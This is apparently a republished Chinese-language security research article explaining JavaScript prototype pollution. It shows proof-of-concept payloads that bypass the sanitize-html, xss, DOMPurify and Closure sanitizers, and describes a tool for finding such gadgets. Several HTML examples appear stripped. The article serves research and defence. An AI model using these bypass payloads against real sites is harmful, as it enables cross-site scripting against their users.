您好,登錄后才能下訂單哦!
小編給大家分享一下如何利用Prototype污染方法繞過常見的HTML XSS檢查器,希望大家閱讀完這篇文章之后都有所收獲,下面讓我們一起去探討吧!
Prototype污染
Prototype污染是一個安全漏洞,是特定于JavaScript的一個漏洞。它源于稱為基于Prototype的繼承的JavaScript繼承模型。與c++或Java不同,在JavaScript中,你無需定義類即可創建對象。你只需要使用大括號表示法并定義屬性,例如:
const obj = { prop1: 111, prop2: 222, }
該對象具有兩個屬性:prop1和prop2。但是,這些并不是我們可以訪問的唯一屬性。例如,對obj.toString()的調用將返回“[objectObject]”,toString(以及一些其他默認成員)來自Prototype。JavaScript中的每個對象都有一個Prototype(也可以為null)。如果未指定,默認情況下,對象的Prototype為Object.prototype。
在DevTools中,我們可以輕松地檢查Object.prototype的屬性列表:
我們還可以通過檢查其__proto__成員或調用Object.getPrototypeOf來找出什么對象是給定對象的Prototype:
同樣,我們可以使用__proto__或Object.setPrototypeOf設置對象的Prototype:
簡而言之,當我們嘗試訪問一個對象的屬性時,JS引擎首先檢查對象本身是否包含該屬性。如果是,則返回。否則,JS檢查Prototype是否具有該屬性。如果不是,則JS檢查Prototype的Prototype……依此類推,直到Prototype為null,這就是Prototype鏈。
JS遍歷Prototype鏈這一事實具有重要的作用,如果我們可以某種方式污染Object.prototype(即使用新屬性對其進行擴展),那么所有JS對象都將具有這些屬性。
比如以下示例:
const user = { userid: 123 }; if (user.admin) { console.log('You are an admin'); }
乍看起來,似乎不可能使if條件成立,因為用戶對象沒有名為admin的屬性。但是,如果我們污染Object.prototype并定義名為admin的屬性,那么console.log將執行!
Object.prototype.admin = true; const user = { userid: 123 }; if (user.admin) { console.log('You are an admin'); // this will execute }
這證明了Prototype污染可能會對應用程序的安全性產生巨大影響,因為我們可以定義一些屬性來改變它們的邏輯。但是,只有少數幾種已知的濫用此漏洞的情況:
1.OlivierArtreau利用它在GhostCMS中獲得了RCE;
2.我利用它獲得了Kibana的RCE;
3.POSIX表明,通過Prototype污染進行的RCE在ejs以及pug和handlebars中都是可行的。
在繼續討論之前,我需要再介紹一個主題:Prototype污染最初是如何發生的?
此漏洞的入口點通常是合并操作(即將所有屬性從一個對象復制到另一個對象)。例如:
const obj1 = { a: 1, b: 2 }; const obj2 = { c: 3, d: 4 }; merge(obj1, obj2) // returns { a: 1, b: 2, c: 3, d: 4}
有時,該操作以遞歸方式工作,例如:
const obj1 = { a: { b: 1, c: 2, } }; const obj2 = { a: { d: 3 } }; recursiveMerge(obj1, obj2); // returns { a: { b: 1, c: 2, d: 3 } }
遞歸合并的基本流程是:
1.遍歷obj2的所有屬性,并檢查它們是否存在于obj1中;
2.如果存在屬性,則對該屬性執行合并操作;
3.如果屬性不存在,則將其從obj2復制到obj1;
在現實世界中,如果用戶對合并的對象有任何控制,那么其中一個對象通常來自JSON.parse的輸出。JSON.parse有點特殊,因為它將__proto__視為“常規”屬性,也就是說,它沒有作為Prototype訪問器的特殊含義。如下所示:
在示例中,obj1是使用JS的大括號表示法創建的,而obj2是使用JSON.parse創建的。這兩個對象都只定義了一個屬性,稱為__proto__。但是,訪問obj1.__proto__返回Object.prototype(因此__proto__是返回Prototype的特殊屬性),而obj2.__proto__包含JSON中給出的值,即:123。這證明相比普通的JavaScript解析,__proto__屬性在JSON中得到了不同的對待。
因此,現在想象一個合并兩個對象的recursiveMerge函數:
obj1={}
obj2=JSON.parse('{"__proto__":{"x":1}}')
該函數的工作原理大致如下:
1.遍歷obj2中的所有屬性,唯一的屬性是__proto__;
2.檢查obj1.__proto__是否存在;
3.遍歷obj2.__proto__中的所有屬性,唯一的屬性是x。
4.分配: obj1.__proto__.x = obj2.__proto__.x。因為obj1.__proto__指向Object.prototype,這樣Prototype就被污染了。
在許多流行的JS庫(包括lodash或jQuery)中都發現了這種錯誤。
Prototype污染是如何繞過HTMLsanitizer的?
現在我們知道什么是Prototype污染,以及合并操作如何引入此漏洞,正如我之前提到的,所有公開的利用Prototype污染的示例都集中在NodeJS上,其目的是實現遠程代碼執行。但是,客戶端JavaScript也可能受到此漏洞的影響。因此這會引發一個問題:攻擊者能從瀏覽器的Prototype污染中得到什么?
現在我將把注意力集中在HTMLsanitizer上,HTMLsanitizer程序其實是一個庫,其工作是采取不受信任的HTML標記,并刪除所有可能引起XSS攻擊的標記或屬性。通常,它們都基于允許列表;也就是說,它們有一個允許的標記和屬性列表,其他所有標記和屬性都被刪除。
想象一下,我們有一個只允許和標簽使用的sanitizer。如果我們給它添加了以下標記:
HeaderThis is some HTML
它應該轉換為以下形式:
HeaderThis is some HTML
HTML清理程序需要維護允許的元素屬性和元素的列表。基本上,該庫通常采用以下兩種方式中的一個來存儲列表:
1.在一個數組中
該庫可能具有包含允許的元素列表的數組,例如:
const ALLOWED_ELEMENTS = ["h2", "i", "b", "div"]
然后,要檢查是否允許某些元素,只需調用ALLOWED_ELEMENTS.includes(element)即可。這種方法可以防止Prototype污染,因為我們不能擴展陣列。也就是說,我們不能污染length屬性,也不能污染已經存在的索引。
例如,即使我們這樣做:
Object.prototype.length = 10; Object.prototype[0] = 'test';
然后,ALLOWED_ELEMENTS.length仍返回4,而ALLOWED_ELEMENTS[0]仍為“h2”。
2.在一個對象中
另一種解決方案是使用允許的元素存儲對象,例如:
const ALLOWED_ELEMENTS = { "h2": true, "i": true, "b": true, "div" :true }
然后,為了檢查某些元素是否被允許,庫可以檢查是否存在ALLOWED_ELEMENTS[element]。這種方法很容易被Prototype污染利用,因為如果我們通過以下方式污染Prototype:
Object.prototype.SCRIPT = true;
然后ALLOWED_ELEMENTS[“SCRIPT”]返回true。
已分析的sanitizer清單
我在npm中搜索了HTMLsanitizer,發現了三個最受歡迎的sanitizer:
1.sanitize-html ,每周大約下載80萬次,sanitize-html提供了帶有清晰API的簡單HTML sanitizer。sanitize-html非常適合刪除HTML片段,例如由ckeditor和其他富文本編輯器創建的HTML片段。通過Word復制和粘貼時,刪除多余的CSS特別方便。sanitize-html允許你指定要允許的標簽,以及每個標簽的允許屬性。
2.每周大約有77萬次下載的xss。
3.dompurify每周約有54萬次下載。DOMPurify是一個只針對DOM的XSS殺毒軟件,適用于HTML、MathML和SVG。它也非常容易和使用,DOMPurify于2014年2月啟動,現在已經是2.1.0版本。DOMPurify是用JavaScript編寫的,可以在所有的現代瀏覽器中工作(Safari (10+), Opera (15+), Internet Explorer (10+), Edge, Firefox和Chrome以及幾乎所有使用Blink或WebKit的瀏覽器)。它在MSIE6或其他老版瀏覽器上不會失效。現在的自動化測試現在已經覆蓋了15種不同的瀏覽器,以后還會有更多。
另外,我還使用了google-closure-library,它在npm中不是很流行,但是在Google應用程序中非常常用。
接下來,我將簡要概述所有sanitizer,并說明如何通過Prototype污染繞開所有sanitizer。我假設Prototype在加載庫之前就已被污染,另外我還將假定所有sanitizer都在默認配置中使用。
sanitize-html
sanitize-html的調用很簡單:
不過你也可以使用備用選項將第二個參數傳遞給sanitizeHtml。不過你也可以不使用,選用默認選項既可:
sanitizeHtml.defaults = { allowedTags: ['h4', 'h5', 'h6', 'h7', 'blockquote', 'p', 'a', 'ul', 'ol', 'nl', 'li', 'b', 'i', 'strong', 'em', 'strike', 'abbr', 'code', 'hr', 'br', 'div', 'table', 'thead', 'caption', 'tbody', 'tr', 'th', 'td', 'pre', 'iframe'], disallowedTagsMode: 'discard', allowedAttributes: { a: ['href', 'name', 'target'], // We don't currently allow img itself by default, but this // would make sense if we did. You could add srcset here, // and if you do the URL is checked for safety img: ['src'] }, // Lots of these won't come up by default because we don't allow them selfClosing: ['img', 'br', 'hr', 'area', 'base', 'basefont', 'input', 'link', 'meta'], // URL schemes we permit allowedSchemes: ['http', 'https', 'ftp', 'mailto'], allowedSchemesByTag: {}, allowedSchemesAppliedToAttributes: ['href', 'src', 'cite'], allowProtocolRelative: true, enforceHtmlBoundary: false };
allowedTags屬性是一個數組,這意味著我們不能在Prototype污染中使用它。不過,值得注意的是,允許使用iframe。
繼續分析,就會發現allowedAttributes是一個映射,它提供了一個想法,即添加屬性iframe:['onload']應該可以通過 < iframe onload=alert(1) >。
在內部,allowedAttributes被重寫為變量allowedAttributesMap,這是決定是否允許屬性的邏輯(name是當前標記的名稱,a是屬性的名稱):
// check allowedAttributesMap for the element and attribute and modify the value // as necessary if there are specific values defined. var passedAllowedAttributesMapCheck = false; if (!allowedAttributesMap || (has(allowedAttributesMap, name) && allowedAttributesMap[name].indexOf(a) !== -1) || (allowedAttributesMap['*'] && allowedAttributesMap['*'].indexOf(a) !== -1) || (has(allowedAttributesGlobMap, name) && allowedAttributesGlobMap[name].test(a)) || (allowedAttributesGlobMap['*'] && allowedAttributesGlobMap['*'].test(a))) { passedAllowedAttributesMapCheck = true;
我們將重點檢查allowedAttributesMap,簡而言之,將檢查是否允許當前標記或所有標記使用該屬性(使用通配符“*”時)。非常有趣的是,sanitize-html具有某種針對Prototype污染的保護措施:
// Avoid false positives with .__proto__, .hasOwnProperty, etc. function has(obj, key) { return ({}).hasOwnProperty.call(obj, key); }
hasOwnProperty檢查一個對象是否有屬性,但它不遍歷Prototype鏈。這意味著所有對has函數的調用都不會受到Prototype污染的影響。但是,has不是用于通配符的!
(allowedAttributesMap['*'] && allowedAttributesMap['*'].indexOf(a) !== -1)
如果我用以下方法污染Prototype,結果如下:
Object.prototype['*'] = ['onload']
那么onload將是任何標簽的有效屬性,如下所示:
xss
下一個庫xss的調用看起來與以上非常相似:
它還可以選擇接受第二個參數,稱為options,而且它的處理方式是你在JS代碼中可以發現的對Prototype最無污染的模式:
options.whiteList = options.whiteList || DEFAULT.whiteList; options.onTag = options.onTag || DEFAULT.onTag; options.onTagAttr = options.onTagAttr || DEFAULT.onTagAttr; options.onIgnoreTag = options.onIgnoreTag || DEFAULT.onIgnoreTag; options.onIgnoreTagAttr = options.onIgnoreTagAttr || DEFAULT.onIgnoreTagAttr; options.safeAttrValue = options.safeAttrValue || DEFAULT.safeAttrValue; options.escapeHtml = options.escapeHtml || DEFAULT.escapeHtml;
可能會污染options.propertyName格式的所有這些屬性。顯而易見的候選者是whiteList,它遵循以下格式:
a: ["target", "href", "title"], abbr: ["title"], address: [], area: ["shape", "coords", "href", "alt"], article: [],
所以這個想法是定義我自己的白名單,接受帶有onerror和src屬性的img標簽:
dompurify
與以前的sanitizer類似,DOMPurify的基本用法非常簡單:
DOMPurify還接受帶有配置的第二個參數,以下也出現了一種使其容易受到Prototype污染的模式:
/* Set configuration parameters */ ALLOWED_TAGS = 'ALLOWED_TAGS' in cfg ? addToSet({}, cfg.ALLOWED_TAGS) : DEFAULT_ALLOWED_TAGS; ALLOWED_ATTR = 'ALLOWED_ATTR' in cfg ? addToSet({}, cfg.ALLOWED_ATTR) : DEFAULT_ALLOWED_ATTR;
在JavaScript中,運算符會遍歷Prototype鏈。因此,如果Object.prototype中存在此屬性,則cfg中的“ALLOWED_ATTR”將返回true。
默認情況下,DOMPurify允許
標記,因此該漏洞利用只需要使用onerror和src污染ALLOWED_ATTR。
有趣的是,Cure53發布了新版本的DOMPurify,試圖防止這種攻擊。如果你認為可以繞過此修復程序,請查看攻擊的更新版本。
閉包(Closure)
ClosureSanitizer有一個名為attributewhitelist.js的文件,該文件的格式如下:
goog.html.sanitizer.AttributeWhitelist = { '* ARIA-CHECKED': true, '* ARIA-COLCOUNT': true, '* ARIA-COLINDEX': true, '* ARIA-CONTROLS': true, '* ARIA-DESCRIBEDBY': tru ... }
在此文件中,定義了允許的屬性列表。它采用“TAG_NAMEATTRIBUTE_NAME”格式,其中TAG_NAME也可以是通配符(“*”)。因此,繞過就像污染Prototype一樣簡單,以允許在所有元素上出現onerror和src。
下面的代碼就是繞過的全過程:
'; const sanitizer = new goog.html.sanitizer.HtmlSanitizer(); const sanitized = sanitizer.sanitize(html); const node = goog.dom.safeHtmlToNode(sanitized); document.body.append(node);" _ue_custom_node_="true">
如何發現Prototype污染的工具
如上所述,Prototype污染可以繞過所有流行的JSsanitizer。為了找到繞過方法,我需要手動分析源。即使所有繞過都非常相似,但仍需要付出一些努力才能執行分析。自然而然,下一步就是考慮使流程更加自動化。
我的第一個想法是使用正則表達式掃描庫源代碼中的所有可能的標識符,然后將此屬性添加到Object.prototype。如果正在訪問任何屬性,那么我知道可以通過Prototype污染對其進行繞過。
以下代碼片段就是我們從DOMPurify中摘錄的:
if (cfg.ADD_ATTR) { if (ALLOWED_ATTR === DEFAULT_ALLOWED_ATTR) { ALLOWED_ATTR = clone(ALLOWED_ATTR); }
我們可以從代碼段中提取以下可能的標識符(假設標識符為\w+):
["if", "cfg", "ADD_ATTR", "ALLOWED_ATTR", "DEFAULT_ALLOWED_ATTR", "clone"]
現在,我在Object.prototype中定義所有這些屬性,例如:
Object.defineProperty(Object.prototype, 'ALLOWED_ATTR', { get() { console.log('Possible prototype pollution for ALLOWED_ATTR'); console.trace(); return this['$__ALLOWED_ATTR']; }, set(val) { this['$_ALLOWED_ATTR'] = val; } });
此方法有效,但有一些嚴重的缺點:
1.它不適用于計算的屬性名稱(例如,對于Closure,我找不到任何有用的內容);
2.它混淆了檢查屬性是否存在:obj中的ALLOWED_ATTR將返回true;
所以我想出了第二個想法,顧名思義,我可以訪問我試圖用Prototype污染攻擊的庫的源代碼。因此,我可以使用代碼工具將所有屬性訪問更改為自己的函數,這將檢查該屬性是否可以到達Prototype。
以下就是我從DOMPurify中摘錄的內容:
if (cfg.ADD_ATTR)
它會轉化為:
if ($_GET_PROP(cfg, 'ADD_ATTR))
如下所示$_GET_PROP定義為:
window.$_SHOULD_LOG = true; window.$_IGNORED_PROPS = new Set([]); function $_GET_PROP(obj, prop) { if (window.$_SHOULD_LOG && !window.$_IGNORED_PROPS.has(prop) && obj instanceof Object && typeof obj === 'object' && !(prop in obj)) { console.group(`obj[${JSON.stringify(prop)}]`); console.trace(); console.groupEnd(); } return obj[prop]; }
至此,所有屬性訪問都將轉換為對$_GET_PROP的調用,當從Object.prototype中讀取屬性時,該調用將在控制臺中打印一個信息。
為此,我創建了一個工具來執行我也在GitHub上共享的工具。外觀如下:
多虧了這種方法,我才能發現另外兩個濫用Prototype污染的案例,該案例中的方法是可以繞過sanitizer。讓我們看看運行DOMPurify時記錄了什么內容:
里面的內容就是我想要的,讓我們看一下訪問documentMode的行:
DOMPurify.isSupported = implementation && typeof implementation.createHTMLDocument !== 'undefined' && document.documentMode !== 9;
這樣,DOMPurify會檢查當前的瀏覽器是否足夠現代,甚至可以與DOMPurify一起使用。如果isSupported等于false,那么DOMPurify將不執行任何殺毒處理。這意味著我們可以污染Prototype并設置Object.prototype.documentMode=9來實現這一目標。下面的代碼片段證明了這一點:
const DOMPURIFY_URL = 'https://raw.githubusercontent.com/cure53/DOMPurify/2.0.12/dist/purify.js'; (async () => { Object.prototype.documentMode = 9; const js = await (await fetch(DOMPURIFY_URL)).text(); eval(js); console.log(DOMPurify.sanitize('')); // Logs: "", i.e. unsanitized HTML })();
缺點是Prototype需要在DOMPurify加載之前被污染。
現在讓我們看一下Closure,首先,現在很容易看到Closure嘗試檢查屬性是否在允許列表中:
其次,我注意到一個有趣的外觀:
Closure加載了很多具有依賴性的JS文件,CLOSURE_BASE_PATH定義路徑。因此,我們可以污染該屬性以從任何路徑加載自己的JS,sanitizer甚至都不需要被調用!
過程如下:
< script > Object.prototype.CLOSURE_BASE_PATH = 'data:,alert(1)//'; < /script >< script src= >< script > goog.require('goog.html.sanitizer.HtmlSanitizer'); goog.require('goog.dom'); < /script >
多虧了pollute.js,我們才能找到更多的污染方法。
看完了這篇文章,相信你對“如何利用Prototype污染方法繞過常見的HTML XSS檢查器”有了一定的了解,如果想了解更多相關知識,歡迎關注億速云行業資訊頻道,感謝各位的閱讀!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。